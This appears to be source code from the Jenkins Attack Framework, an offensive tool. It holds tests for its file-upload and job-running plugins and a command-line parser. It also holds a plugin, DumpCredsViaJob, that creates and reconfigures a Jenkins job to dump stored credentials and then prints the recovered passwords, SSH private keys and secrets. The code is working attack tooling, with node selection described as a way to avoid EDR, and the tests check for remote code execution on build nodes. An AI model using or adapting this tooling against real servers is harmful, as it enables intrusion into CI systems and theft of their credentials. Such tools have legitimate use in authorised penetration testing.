-------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import string 4 | import tempfile 5 | import unittest 6 | import warnings 7 | 8 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 9 | from libs.JAF.plugin_UploadFile import UploadFile, UploadFileParser 10 | 11 | from .configuration import ( 12 | server, 13 | user_admin, 14 | user_bad, 15 | user_noaccess, 16 | user_normal, 17 | user_read_job_access, 18 | user_read_no_job_access, 19 | ) 20 | from .helpers import DummyWebServer, TestFramework 21 | 22 | 23 | class UploadFileTest(unittest.TestCase, TestFramework): 24 | @classmethod 25 | def setUpClass(cls): 26 | cls.upload_file = "/tmp/" + "".join( 27 | random.choices(string.ascii_letters + string.digits, k=20) 28 | ) 29 | f, cls.local_file = tempfile.mkstemp(text=True) 30 | os.write(f, b"Test File") 31 | os.close(f) 32 | 33 | @classmethod 34 | def teardownClass(cls): 35 | os.remove(cls.local_file) 36 | 37 | def setUp(self): 38 | warnings.simplefilter("ignore", ResourceWarning) 39 | self.testcommand = "UploadFile" 40 | self.TestParserClass = UploadFileParser 41 | self.TestClass = UploadFile 42 | 43 | def test_invalid_url(self): 44 | """Make sure that calling with invalid url fails gracefully""" 45 | 46 | self.basic_test_harness( 47 | [ 48 | "jaf.py", 49 | self.testcommand, 50 | "-s", 51 | "https://127.0.0.1:59321/", 52 | "-a", 53 | user_bad, 54 | self.local_file, 55 | self.upload_file, 56 | ], 57 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 58 | 1, 59 | ) 60 | 61 | def test_valid_url_bad_protocol(self): 62 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 63 | 64 | with DummyWebServer(): 65 | self.basic_test_harness( 66 | [ 67 | "jaf.py", 68 | self.testcommand, 69 | "-s", 70 | "https://127.0.0.1:59322/", 71 | "-a", 72 | user_bad, 73 | self.local_file, 74 | self.upload_file, 75 | ], 76 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 77 | 1, 78 | ) 79 | 80 | def test_valid_url_and_protocol(self): 81 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 82 | 83 | with DummyWebServer(): 84 | self.basic_test_harness( 85 | [ 86 | "jaf.py", 87 | self.testcommand, 88 | "-s", 89 | "http://127.0.0.1:59322/", 90 | "-a", 91 | user_bad, 92 | self.local_file, 93 | self.upload_file, 94 | ], 95 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 96 | 1, 97 | ) 98 | 99 | def test_valid_jenkins_invalid_creds(self): 100 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 101 | 102 | self.basic_test_harness( 103 | [ 104 | "jaf.py", 105 | self.testcommand, 106 | "-s", 107 | server, 108 | "-a", 109 | user_bad, 110 | self.local_file, 111 | self.upload_file, 112 | ], 113 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 114 | 1, 115 | ) 116 | 117 | def test_valid_jenkins_anonymous_creds(self): 118 | """Make sure that calling with valid jenkins (but no creds)""" 119 | 120 | self.basic_test_harness( 121 | ["jaf.py", self.testcommand, "-s", server, self.local_file, self.upload_file], 122 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 123 | 1, 124 | ) 125 | 126 | def test_valid_jenkins_valid_unprivileged_creds(self): 127 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 128 | 129 | self.basic_test_harness( 130 | [ 131 | "jaf.py", 132 | self.testcommand, 133 | "-s", 134 | server, 135 | "-a", 136 | user_noaccess, 137 | self.local_file, 138 | self.upload_file, 139 | ], 140 | [r'\w+: \["Invalid Credentials or unaccessible Jenkins Server."\]'], 141 | 1, 142 | ) 143 | 144 | def test_valid_jenkins_valid_read_no_job_creds(self): 145 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 146 | 147 | self.basic_test_harness( 148 | [ 149 | "jaf.py", 150 | self.testcommand, 151 | "-s", 152 | server, 153 | "-a", 154 | user_read_no_job_access, 155 | self.local_file, 156 | self.upload_file, 157 | ], 158 | [r'\w+: \[.*"authenticated"'], 159 | 1, 160 | ) 161 | 162 | def test_valid_jenkins_valid_read_job_creds(self): 163 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 164 | 165 | self.basic_test_harness( 166 | [ 167 | "jaf.py", 168 | self.testcommand, 169 | "-s", 170 | server, 171 | "-a", 172 | user_read_job_access, 173 | self.local_file, 174 | self.upload_file, 175 | ], 176 | [r'\w+: \[.*"authenticated"'], 177 | 1, 178 | ) 179 | 180 | def test_valid_jenkins_valid_normal_creds(self): 181 | """Make sure that calling with valid jenkins (normal creds) returns expected results""" 182 | 183 | self.basic_test_harness( 184 | [ 185 | "jaf.py", 186 | self.testcommand, 187 | "-s", 188 | server, 189 | "-a", 190 | user_normal, 191 | self.local_file, 192 | self.upload_file, 193 | ], 194 | [r'\w+: \[.*"authenticated"'], 195 | 1, 196 | ) 197 | 198 | def test_valid_jenkins_valid_admin_creds(self): 199 | """Make sure that calling with valid jenkins (admin creds) returns expected results""" 200 | 201 | self.basic_test_harness( 202 | [ 203 | "jaf.py", 204 | self.testcommand, 205 | "-s", 206 | server, 207 | "-a", 208 | user_admin, 209 | self.local_file, 210 | self.upload_file, 211 | ], 212 | [r"Successfully uploaded file."], 213 | ) 214 | 215 | 216 | class UploadFileParserTest(unittest.TestCase, TestFramework): 217 | def setUp(self): 218 | self.testcommand = "UploadFile" 219 | self.TestClass = UploadFile 220 | self.TestParserClass = UploadFileParser 221 | 222 | def test_no_args(self): 223 | """Ensure that calling with no arguments results in help output and not an error""" 224 | 225 | self.basic_test_harness( 226 | ["jaf.py", self.testcommand], 227 | [ 228 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 229 | r"Jenkins Attack Framework", 230 | r"positional arguments:", 231 | ], 232 | ) 233 | 234 | 235 | if __name__ == "__main__": 236 | unittest.main() 237 | -------------------------------------------------------------------------------- /libs/JAF/BaseCommandLineParser.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from urllib.parse import urlparse 3 | 4 | from .CustomArgumentParser import ArgumentParser, Formatter 5 | 6 | 7 | class BaseCommandLineParser: 8 | """Base Class to wrap common commandline parsing functionality, since it is complicated""" 9 | 10 | _description = "Jenkins Attack Framework" 11 | 12 | UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 13 | THREADNUMBER = 4 14 | TIMEOUT = 30 15 | 16 | def parse(self): 17 | """Top-level method to handle argument parsing and return parsed, sanity checked arguments""" 18 | 19 | self.parser = ArgumentParser(formatter_class=Formatter, description=self._description) 20 | 21 | # Dynamically derive sub commands: 22 | choices = [name[4:] for name in dir(self) if name.startswith("cmd_")] 23 | 24 | self.parser.add_argument( 25 | dest="command", 26 | metavar="", 27 | help="Subcommand to run (pass sub command for more detailed help):\n" 28 | + " ".join(choices), 29 | choices=choices, 30 | ) 31 | 32 | if len(sys.argv) < 2: 33 | self.parser.print_help() 34 | exit(-1) 35 | 36 | args = self.parser.parse_args(sys.argv[1:2]) 37 | 38 | if len(sys.argv) == 2: 39 | # Ensure user gets full help if they don't specify subcommand args 40 | sys.argv.append("-h") 41 | 42 | return getattr(self, "cmd_" + args.command)() 43 | 44 | def _create_contextual_parser(self, cmd, description): 45 | """Creates context-specific argparse parser after subcommand is choosen""" 46 | 47 | self.parser = ArgumentParser(description=self._description, formatter_class=Formatter) 48 | self.parser.add_argument(dest="subcommand", metavar=cmd, help=description, action="store") 49 | 50 | return self.parser 51 | 52 | def _add_common_arg_parsers(self, allows_threading=False, allows_multiple_creds=False): 53 | """Utility method to handle adding common variations of common arguments""" 54 | 55 | self.parser.add_argument( 56 | "-s", 57 | "--server", 58 | metavar="", 59 | help="Jenkins Server", 60 | action="store", 61 | dest="server", 62 | required=True, 63 | ) 64 | 65 | self.parser.add_argument( 66 | "-u", 67 | "--useragent", 68 | metavar="", 69 | help="JAF User-Agent. Defaults to: %s" % self.UA, 70 | action="store", 71 | dest="user_agent", 72 | required=False, 73 | default=self.UA, 74 | ) 75 | 76 | self.parser.add_argument( 77 | "-n", 78 | "--timeout", 79 | metavar="", 80 | help="HTTP Request Timeout (in seconds). Defaults to: %d" % self.TIMEOUT, 81 | action="store", 82 | dest="timeout", 83 | type=int, 84 | required=False, 85 | default=self.TIMEOUT, 86 | ) 87 | 88 | self.parser.add_argument( 89 | "-o", 90 | "--output", 91 | metavar="Output File", 92 | help="Write Output to File", 93 | action="store", 94 | dest="output_file", 95 | required=False, 96 | ) 97 | 98 | if allows_threading: 99 | self.parser.add_argument( 100 | "-t", 101 | "--threads", 102 | metavar="", 103 | help="Number of max concurrent HTTP requests. Defaults to: %d" % self.THREADNUMBER, 104 | type=int, 105 | required=False, 106 | dest="thread_number", 107 | action="store", 108 | default=self.THREADNUMBER, 109 | ) 110 | 111 | self.parser.add_argument( 112 | "-a", 113 | "--authentication", 114 | metavar="[:[|]|]", 115 | help="User + Password or API Token, or full JSESSIONID cookie string", 116 | action="store", 117 | dest="credential", 118 | required=False, 119 | ) 120 | 121 | if allows_multiple_creds: 122 | self.parser.add_argument( 123 | "-c", 124 | "--credentialfile", 125 | metavar="", 126 | help='Credential File ("-" for stdin). Creds in form ":" or ":"', 127 | action="store", 128 | dest="credential_file", 129 | required=False, 130 | ) 131 | 132 | return self.parser 133 | 134 | def _parse_credential(self, cred): 135 | """Utility method to parse out credential strings into useful formats""" 136 | 137 | if ":" in cred and not cred.startswith("{COOKIE}"): 138 | temp = cred.split(":") 139 | username = temp[0] 140 | password = ":".join(temp[1:]) 141 | 142 | if username.startswith("{APITOKEN}"): 143 | return {"authheader": cred[10:]} 144 | elif username.startswith("{USERPASS}"): 145 | return {"username": username[10:], "password": password} 146 | elif len(password) == 34: 147 | return {"authheader": cred} 148 | else: 149 | return {"username": username, "password": password} 150 | elif "=" in cred: 151 | if "|" in cred: 152 | cred = cred.split("|") 153 | return {"cookie": cred[0], "crumb": "|".join(cred[1:])} 154 | else: 155 | return {"cookie": cred, "crumb": None} 156 | else: 157 | return None 158 | 159 | def _file_accessible(self, path): 160 | """Utility method to check if file exists and is read-accessible""" 161 | 162 | try: 163 | with open(path, "rb"): 164 | return True 165 | except Exception: 166 | return False 167 | 168 | def _validate_output_file(self, args): 169 | """Utility method to check if provided output file location is write-accessible""" 170 | 171 | if args.output_file: 172 | try: 173 | with open(args.output_file, "wb"): 174 | return 175 | except Exception: 176 | sys.stdout = sys.stderr 177 | self.parser.print_usage() 178 | print("\nError: Specified Output File Path is invalid or inaccessible.") 179 | exit(1) 180 | 181 | def _validate_thread_number(self, args): 182 | """Utility method to check if provided thread number > 0""" 183 | 184 | if args.thread_number < 1: 185 | sys.stdout = sys.stderr 186 | self.parser.print_usage() 187 | print("\nError: Specified Thread Number is invalid.") 188 | exit(1) 189 | 190 | def _validate_timeout_number(self, args): 191 | """Utility method to check if provided timeout number > 0""" 192 | 193 | if args.timeout < 1: 194 | sys.stdout = sys.stderr 195 | self.parser.print_usage() 196 | print("\nError: Specified Timeout Number is invalid.") 197 | exit(1) 198 | 199 | def _validate_server_url(self, args): 200 | """Utility method to check if provided server is a valid url""" 201 | 202 | try: 203 | result = urlparse(args.server) 204 | if not all([result.scheme, result.netloc]): 205 | raise Exception() 206 | except Exception: 207 | sys.stdout = sys.stderr 208 | self.parser.print_usage() 209 | print("\nError: Specified Server is not a valid URL.") 210 | exit(1) 211 | 212 | def _handle_authentication(self, args): 213 | """Utility method to handle parsing of credentials and credential files""" 214 | 215 | creds = [] 216 | 217 | if hasattr(args, "credential_file") and args.credential_file: 218 | try: 219 | if args.credential_file == "-": 220 | f = sys.stdin 221 | else: 222 | f = open(args.credential_file) 223 | 224 | for cred in f: 225 | temp = self._parse_credential(cred.replace("\r", "").replace("\n", "")) 226 | 227 | if temp: 228 | creds.append(temp) 229 | 230 | f.close() 231 | 232 | if len(creds) == 0: 233 | raise Exception() 234 | 235 | delattr(args, "credential_file") 236 | except Exception: 237 | sys.stdout = sys.stderr 238 | self.parser.print_usage() 239 | print("\nError: Invalid Credential File Path was passed or no credentials present.") 240 | exit(1) 241 | 242 | elif args.credential: 243 | temp = self._parse_credential(args.credential) 244 | 245 | if temp: 246 | creds.append(temp) 247 | 248 | if len(creds) == 0: 249 | sys.stdout = sys.stderr 250 | self.parser.print_usage() 251 | print("\nError: Invalid Credential Format.") 252 | exit(1) 253 | 254 | delattr(args, "credential") 255 | else: 256 | creds.append(None) 257 | 258 | setattr(args, "credentials", creds) 259 | 260 | return args 261 | -------------------------------------------------------------------------------- /tests/test_RunJob.py: -------------------------------------------------------------------------------- 1 | import concurrent.futures 2 | import os 3 | import random 4 | import string 5 | import tempfile 6 | import unittest 7 | import warnings 8 | 9 | from libs.JAF.BaseCommandLineParser import BaseCommandLineParser 10 | from libs.JAF.plugin_RunJob import RunJob, RunJobParser 11 | 12 | from .configuration import ( 13 | computer_linux, 14 | computer_windows_admin, 15 | computer_windows_normal, 16 | server, 17 | user_admin, 18 | user_bad, 19 | user_noaccess, 20 | user_normal, 21 | user_read_job_access, 22 | user_read_no_job_access, 23 | ) 24 | from .helpers import DummyWebServer, RemoteFeedbackTester, TestFramework 25 | 26 | 27 | class DumpCredsViaJobTest(unittest.TestCase, TestFramework): 28 | @classmethod 29 | def setUpClass(cls): 30 | cls.credential_test_job1 = "testRunJob1" + "".join( 31 | random.choices(string.ascii_letters + string.digits, k=20) 32 | ) 33 | cls.credential_test_job2 = "testRunJob2" + "".join( 34 | random.choices(string.ascii_letters + string.digits, k=20) 35 | ) 36 | cls.remote_feedback = RemoteFeedbackTester(12345, 50) 37 | f, cls.ping_script_windows = tempfile.mkstemp(text=True, suffix=".bat") 38 | os.write(f, cls.remote_feedback.get_script("python").encode("utf8")) 39 | os.close(f) 40 | f, cls.ping_script_linux = tempfile.mkstemp(text=True, suffix=".sh") 41 | os.write(f, cls.remote_feedback.get_script("python").encode("utf8")) 42 | os.close(f) 43 | 44 | @classmethod 45 | def teardownClass(cls): 46 | os.remove(cls.ping_script_windows) 47 | os.remove(cls.ping_script_linux) 48 | 49 | def setUp(self): 50 | warnings.simplefilter("ignore", ResourceWarning) 51 | self.testcommand = "RunJob" 52 | self.TestParserClass = RunJobParser 53 | self.TestClass = RunJob 54 | 55 | def test_invalid_url(self): 56 | """Make sure that calling with invalid url fails gracefully""" 57 | 58 | self.basic_test_harness( 59 | [ 60 | "jaf.py", 61 | self.testcommand, 62 | "-s", 63 | "https://127.0.0.1:59321/", 64 | "-a", 65 | user_bad, 66 | self.credential_test_job1, 67 | self.ping_script_linux, 68 | ], 69 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 70 | 1, 71 | ) 72 | 73 | def test_valid_url_bad_protocol(self): 74 | """Make sure that calling with valid url (that isn't Jenkins or right protocol) fails gracefully""" 75 | 76 | with DummyWebServer(): 77 | self.basic_test_harness( 78 | [ 79 | "jaf.py", 80 | self.testcommand, 81 | "-s", 82 | "https://127.0.0.1:59322/", 83 | "-a", 84 | user_bad, 85 | self.credential_test_job1, 86 | self.ping_script_linux, 87 | ], 88 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 89 | 1, 90 | ) 91 | 92 | def test_valid_url_and_protocol(self): 93 | """Make sure that calling with valid url (that isn't Jenkins but right protocol) fails gracefully""" 94 | 95 | with DummyWebServer(): 96 | self.basic_test_harness( 97 | [ 98 | "jaf.py", 99 | self.testcommand, 100 | "-s", 101 | "http://127.0.0.1:59322/", 102 | "-a", 103 | user_bad, 104 | self.credential_test_job1, 105 | self.ping_script_linux, 106 | ], 107 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 108 | 1, 109 | ) 110 | 111 | def test_valid_jenkins_invalid_creds(self): 112 | """Make sure that calling with valid jenkins (but bad creds) fails gracefully""" 113 | 114 | self.basic_test_harness( 115 | [ 116 | "jaf.py", 117 | self.testcommand, 118 | "-s", 119 | server, 120 | "-a", 121 | user_bad, 122 | self.credential_test_job1, 123 | self.ping_script_linux, 124 | ], 125 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 126 | 1, 127 | ) 128 | 129 | def test_valid_jenkins_anonymous_creds(self): 130 | """Make sure that calling with valid jenkins (but no creds)""" 131 | 132 | self.basic_test_harness( 133 | [ 134 | "jaf.py", 135 | self.testcommand, 136 | "-s", 137 | server, 138 | self.credential_test_job1, 139 | self.ping_script_linux, 140 | ], 141 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 142 | 1, 143 | ) 144 | 145 | def test_valid_jenkins_valid_unprivileged_creds(self): 146 | """Make sure that calling with valid jenkins (unprivileged creds) returns expected results""" 147 | 148 | self.basic_test_harness( 149 | [ 150 | "jaf.py", 151 | self.testcommand, 152 | "-s", 153 | server, 154 | "-a", 155 | user_noaccess, 156 | self.credential_test_job1, 157 | self.ping_script_linux, 158 | ], 159 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 160 | 1, 161 | ) 162 | 163 | def test_valid_jenkins_valid_read_no_job_creds(self): 164 | """Make sure that calling with valid jenkins (read only [no job access] creds) returns expected results""" 165 | 166 | self.basic_test_harness( 167 | [ 168 | "jaf.py", 169 | self.testcommand, 170 | "-s", 171 | server, 172 | "-a", 173 | user_read_no_job_access, 174 | self.credential_test_job1, 175 | self.ping_script_linux, 176 | ], 177 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 178 | 1, 179 | ) 180 | 181 | def test_valid_jenkins_valid_read_job_creds(self): 182 | """Make sure that calling with valid jenkins (read only [job access] creds) returns expected results""" 183 | 184 | self.basic_test_harness( 185 | [ 186 | "jaf.py", 187 | self.testcommand, 188 | "-s", 189 | server, 190 | "-a", 191 | user_read_job_access, 192 | self.credential_test_job1, 193 | self.ping_script_linux, 194 | ], 195 | [r"- \w+: Invalid Credentials or unable to access Jenkins server."], 196 | 1, 197 | ) 198 | 199 | # Swapping order because last test doesn't clean up completely. 200 | def test_1_valid_jenkins_valid_admin_creds_posix(self): 201 | """Make sure that calling with valid jenkins (admin creds, POSIX) returns expected results""" 202 | 203 | with concurrent.futures.ThreadPoolExecutor() as executor: 204 | future = executor.submit(self.remote_feedback.got_connect_back) 205 | 206 | self.basic_test_harness( 207 | [ 208 | "jaf.py", 209 | self.testcommand, 210 | "-s", 211 | server, 212 | "-a", 213 | user_admin, 214 | "-N", 215 | computer_linux, 216 | "-T", 217 | "posix", 218 | self.credential_test_job1, 219 | self.ping_script_linux, 220 | ] 221 | ) 222 | 223 | self.assertTrue(future.result()) 224 | 225 | def test_1_valid_jenkins_valid_admin_creds_windows(self): 226 | """Make sure that calling with valid jenkins (admin creds, Windows) returns expected results""" 227 | 228 | with concurrent.futures.ThreadPoolExecutor() as executor: 229 | future = executor.submit(self.remote_feedback.got_connect_back) 230 | 231 | self.basic_test_harness( 232 | [ 233 | "jaf.py", 234 | self.testcommand, 235 | "-s", 236 | server, 237 | "-a", 238 | user_admin, 239 | "-N", 240 | computer_windows_admin, 241 | "-T", 242 | "windows", 243 | self.credential_test_job1, 244 | self.ping_script_windows, 245 | ] 246 | ) 247 | 248 | self.assertTrue(future.result()) 249 | 250 | def test_2_valid_jenkins_valid_admin_creds_ghost_job_windows_unprivileged(self): 251 | """Make sure that calling with valid jenkins (admin creds, Windows, unprivileged ghost job) returns expected results""" 252 | 253 | with concurrent.futures.ThreadPoolExecutor() as executor: 254 | future = executor.submit(self.remote_feedback.got_connect_back) 255 | 256 | self.basic_test_harness( 257 | [ 258 | "jaf.py", 259 | self.testcommand, 260 | "-s", 261 | server, 262 | "-a", 263 | user_admin, 264 | "-g", 265 | "-N", 266 | computer_windows_normal, 267 | "-T", 268 | "windows", 269 | self.credential_test_job1, 270 | self.ping_script_windows, 271 | ] 272 | ) 273 | 274 | self.assertTrue(future.result()) 275 | 276 | def test_2_valid_jenkins_valid_admin_creds_ghost_job_windows_elevated(self): 277 | """Make sure that calling with valid jenkins (admin creds, Windows, elevated ghost job) returns expected results""" 278 | 279 | with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor: 280 | future = executor.submit(self.remote_feedback.got_connect_back) 281 | 282 | self.basic_test_harness( 283 | [ 284 | "jaf.py", 285 | self.testcommand, 286 | "-s", 287 | server, 288 | "-a", 289 | user_admin, 290 | "-g", 291 | "-N", 292 | computer_windows_admin, 293 | "-T", 294 | "windows", 295 | self.credential_test_job1, 296 | self.ping_script_windows, 297 | ] 298 | ) 299 | 300 | self.assertTrue(future.result()) 301 | 302 | def test_3_valid_jenkins_valid_normal_creds_linux(self): 303 | """Make sure that calling with valid jenkins (normal creds, POSIX) returns expected results""" 304 | 305 | with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor: 306 | future = executor.submit(self.remote_feedback.got_connect_back) 307 | 308 | self.basic_test_harness( 309 | [ 310 | "jaf.py", 311 | self.testcommand, 312 | "-s", 313 | server, 314 | "-a", 315 | user_normal, 316 | "-N", 317 | computer_linux, 318 | "-T", 319 | "posix", 320 | self.credential_test_job1, 321 | self.ping_script_linux, 322 | ] 323 | ) 324 | 325 | self.assertTrue(future.result()) 326 | 327 | def test_3_valid_jenkins_valid_normal_creds_windows(self): 328 | """Make sure that calling with valid jenkins (normal creds, Windows) returns expected results""" 329 | 330 | with concurrent.futures.ThreadPoolExecutor(max_workers=1) as executor: 331 | future = executor.submit(self.remote_feedback.got_connect_back) 332 | 333 | self.basic_test_harness( 334 | [ 335 | "jaf.py", 336 | self.testcommand, 337 | "-s", 338 | server, 339 | "-a", 340 | user_normal, 341 | "-N", 342 | computer_windows_normal, 343 | "-T", 344 | "windows", 345 | self.credential_test_job2, 346 | self.ping_script_windows, 347 | ] 348 | ) 349 | 350 | self.assertTrue(future.result()) 351 | 352 | 353 | class DumpCredsViaJobParserTest(unittest.TestCase, TestFramework): 354 | def setUp(self): 355 | self.testcommand = "RunJob" 356 | self.TestClass = RunJob 357 | self.TestParserClass = RunJobParser 358 | 359 | def test_no_args(self): 360 | """Ensure that calling with no arguments results in help output and not an error""" 361 | 362 | self.basic_test_harness( 363 | ["jaf.py", self.testcommand], 364 | [ 365 | r"usage: jaf.py {0} \[-h\]".format(self.testcommand), 366 | r"Jenkins Attack Framework", 367 | r"positional arguments:", 368 | ], 369 | ) 370 | 371 | 372 | if __name__ == "__main__": 373 | unittest.main() 374 | -------------------------------------------------------------------------------- /libs/JAF/plugin_DumpCredsViaJob.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import os 3 | import random 4 | import re 5 | import string 6 | import time 7 | import xml.sax.saxutils 8 | 9 | import requests.exceptions as req_exc 10 | 11 | from libs import jenkinslib, quik 12 | 13 | from .BasePlugin import BasePlugin, HijackStdOut 14 | 15 | 16 | class NonCriticalException(Exception): 17 | pass 18 | 19 | 20 | def xmlescape(data): 21 | return xml.sax.saxutils.escape(data, {'"': """}) 22 | 23 | 24 | class DumpCredsViaJob(BasePlugin): 25 | """Class for managing DumpCredsViaJob SubCommand""" 26 | 27 | template_cache = None 28 | 29 | def __init__(self, args): 30 | super().__init__(args) 31 | 32 | state = 1 33 | 34 | try: 35 | cred = self.args.credentials[0] 36 | server = self._get_jenkins_server(cred) 37 | 38 | if not server.can_create_job(): 39 | self.logging.fatal( 40 | "%s: Is not a valid Jenkins user with job creation access or unable to access Jenkins server.", 41 | self._get_username(cred), 42 | ) 43 | 44 | return 45 | 46 | # Step 1: Create empty job so we can check permissions and then use it to list available credentials 47 | server.create_job( 48 | self.args.task_name, "" 49 | ) 50 | state += 1 51 | 52 | # Step 2: Use new job to get list of stealable credentials 53 | credential_list = [x for x in server.list_credentials(self.args.task_name) if x["type"]] 54 | 55 | if len(credential_list) == 0: 56 | raise NonCriticalException("No credentials were discovered.") 57 | 58 | state += 1 59 | 60 | # Step 3: Get a list of online jenkins nodes 61 | 62 | posix_nodes = [] 63 | windows_nodes = [] 64 | other_nodes = [] 65 | 66 | if self.args.node: 67 | if self.args.node_type == "posix": 68 | posix_nodes = [{"name": self.args.node}] 69 | else: 70 | windows_nodes = [{"name": self.args.node}] 71 | 72 | else: 73 | nodes = [x for x in server.get_nodes() if not x["offline"]] 74 | 75 | if len(nodes) == 0: 76 | raise NonCriticalException("No online nodes were discovered.") 77 | 78 | """ 79 | We need to try to divide nodes up by type because our payload will change. 80 | If unknown, chances are it is some flavor of POSIX compatible OS with base64, echo, and cat, so we can 81 | attempt POSIX payload as a last resort if nothing else is available. Also, for some reason master is 82 | not shown on the nodes page so we can't get the architecture. In most cases the master will be posix compliant anyway. 83 | In most cases, if execution on the master is denied, that means there will be more than one slave. 84 | """ 85 | 86 | for node in nodes: 87 | if node["architecture"] and "windows" in node["architecture"].lower(): 88 | windows_nodes.append(node) 89 | elif ( 90 | any( 91 | node["architecture"] and x in node["architecture"].lower() 92 | for x in ["nix", "nux", "bsd", "osx"] 93 | ) 94 | or node["name"] == "master" 95 | ): 96 | posix_nodes.append(node) 97 | else: 98 | other_nodes.append(node) 99 | 100 | state += 1 101 | 102 | """ 103 | Step 4: We determine where we are going to try to run this payload and fabricate the payload. 104 | We want to prioritize posix due to less chance of EDR, and more efficient payload design. 105 | We want to pick our execution location in this order posix -> windows -> other. 106 | """ 107 | 108 | barrier = "##{}##".format( 109 | "".join(random.choices(string.ascii_letters + string.digits, k=64)) 110 | ) 111 | 112 | job = None 113 | job_type = None 114 | run_nodes = None 115 | 116 | if len(posix_nodes) > 0: 117 | job_type = "posix" 118 | run_nodes = posix_nodes 119 | elif len(windows_nodes) > 0: 120 | job_type = "windows" 121 | run_nodes = windows_nodes 122 | elif len(other_nodes) > 0: 123 | job_type = "posix" 124 | run_nodes = other_nodes 125 | else: 126 | raise NonCriticalException("No nodes to execute on.") 127 | 128 | job = self._generate_job_xml(job_type, run_nodes, barrier, credential_list) 129 | 130 | state += 1 131 | 132 | """ 133 | Step 5: Reconfigure the job payload with actual credential dumping 134 | """ 135 | 136 | server.reconfig_job(self.args.task_name, job) 137 | state += 1 138 | 139 | """ 140 | Step 6: Start the job 141 | """ 142 | 143 | server.build_job(self.args.task_name) 144 | 145 | """ 146 | Step 7: Wait for the Results 147 | """ 148 | 149 | while True: 150 | time.sleep(3) 151 | try: 152 | results = server.get_build_info(self.args.task_name, "lastBuild") 153 | break 154 | except jenkinslib.JenkinsException: 155 | pass 156 | 157 | while results["building"]: 158 | time.sleep(3) 159 | results = server.get_build_info(self.args.task_name, "lastBuild") 160 | 161 | if results["result"] != "SUCCESS": 162 | raise NonCriticalException( 163 | "Credential Dumping Build did not complete successfully." 164 | ) 165 | 166 | state += 1 167 | 168 | """ 169 | Step 8: Retrieve Credentials 170 | """ 171 | 172 | result = server.get_build_console_output( 173 | "job/" + self.args.task_name + "/", "lastBuild" 174 | ) 175 | state += 1 176 | 177 | """ 178 | Step 9: Parse Results 179 | """ 180 | 181 | # Normalize extract base64 encoded credentials: 182 | 183 | try: 184 | result = "\n".join(x for x in result.split("\n") if not x.startswith("+ ")) 185 | result = ( 186 | re.findall( 187 | r"-----BEGIN CERTIFICATE-----(.*?)-----END CERTIFICATE-----", 188 | result, 189 | re.M | re.S, 190 | )[0] 191 | .replace("\r", "") 192 | .replace("\n", "") 193 | ) 194 | result = base64.b64decode(result).decode("utf8") 195 | except Exception: 196 | raise NonCriticalException("Unable to parse out credentials from job.") 197 | 198 | result = re.split(re.escape(barrier), result, re.M)[1:] 199 | 200 | for i, raw_cred in enumerate(result): 201 | raw_cred = raw_cred.replace("\r", "\n").replace("\n\n", "\n") 202 | raw_cred = re.split(r"[\r\n]", raw_cred, re.M)[1:] 203 | 204 | try: 205 | if raw_cred[0].strip() == "PASSWORD": 206 | cred_type = raw_cred[0].strip() 207 | description = raw_cred[1].strip() 208 | username = raw_cred[2].split(":")[0].strip() 209 | password = ":".join(raw_cred[2].split(":")[1:]).strip() 210 | 211 | print("Type:", cred_type) 212 | print("Description:", description) 213 | print("Username:", username) 214 | print("Password:", password) 215 | 216 | elif raw_cred[0].strip() == "SSHKEY": 217 | cred_type = raw_cred[0].strip() 218 | description = raw_cred[1].strip() 219 | username = raw_cred[2].strip() 220 | passphrase = raw_cred[3].strip() 221 | key = "\n".join(raw_cred[4:]).strip() 222 | 223 | print("Type:", cred_type) 224 | print("Description:", description) 225 | print("Username:", username) 226 | print("Passphrase:", passphrase) 227 | print("Key:") 228 | print(key) 229 | 230 | elif raw_cred[0].strip() == "SECRETTEXT": 231 | cred_type = raw_cred[0].strip() 232 | description = raw_cred[1].strip() 233 | text = raw_cred[2].strip() 234 | 235 | print("Type:", cred_type) 236 | print("Description:", description) 237 | print("Text:", text) 238 | 239 | elif raw_cred[0].strip() == "SECRETFILE": 240 | if ( 241 | raw_cred[2] == "" 242 | ): # Delete blank line if it exists at top of file which was introduced by regex splitting 243 | del raw_cred[2] 244 | 245 | cred_type = raw_cred[0].strip() 246 | description = raw_cred[1].strip() 247 | file_content = "\n".join(raw_cred[2:]).strip() 248 | 249 | print("Type:", cred_type) 250 | print("Description:", description) 251 | print("Content:") 252 | print(file_content) 253 | 254 | except Exception: 255 | pass 256 | 257 | if i < (len(result) - 1): 258 | print( 259 | "-----------------------------------------------------------------------------" 260 | ) 261 | 262 | except jenkinslib.JenkinsException as ex: 263 | if "[403]" in str(ex).split("\n")[0]: 264 | self.logging.fatal( 265 | "%s authentication failed or no access", self._get_username(cred) 266 | ) 267 | else: 268 | self.logging.fatal( 269 | "Unable to access Jenkins at: %s With User: %s For Reason:\n\t%s" 270 | % ( 271 | ( 272 | self.server_url.netloc 273 | if len(self.server_url.netloc) > 0 274 | else self.args.server 275 | ), 276 | self._get_username(cred), 277 | str(ex).split("\n")[0], 278 | ) 279 | ) 280 | 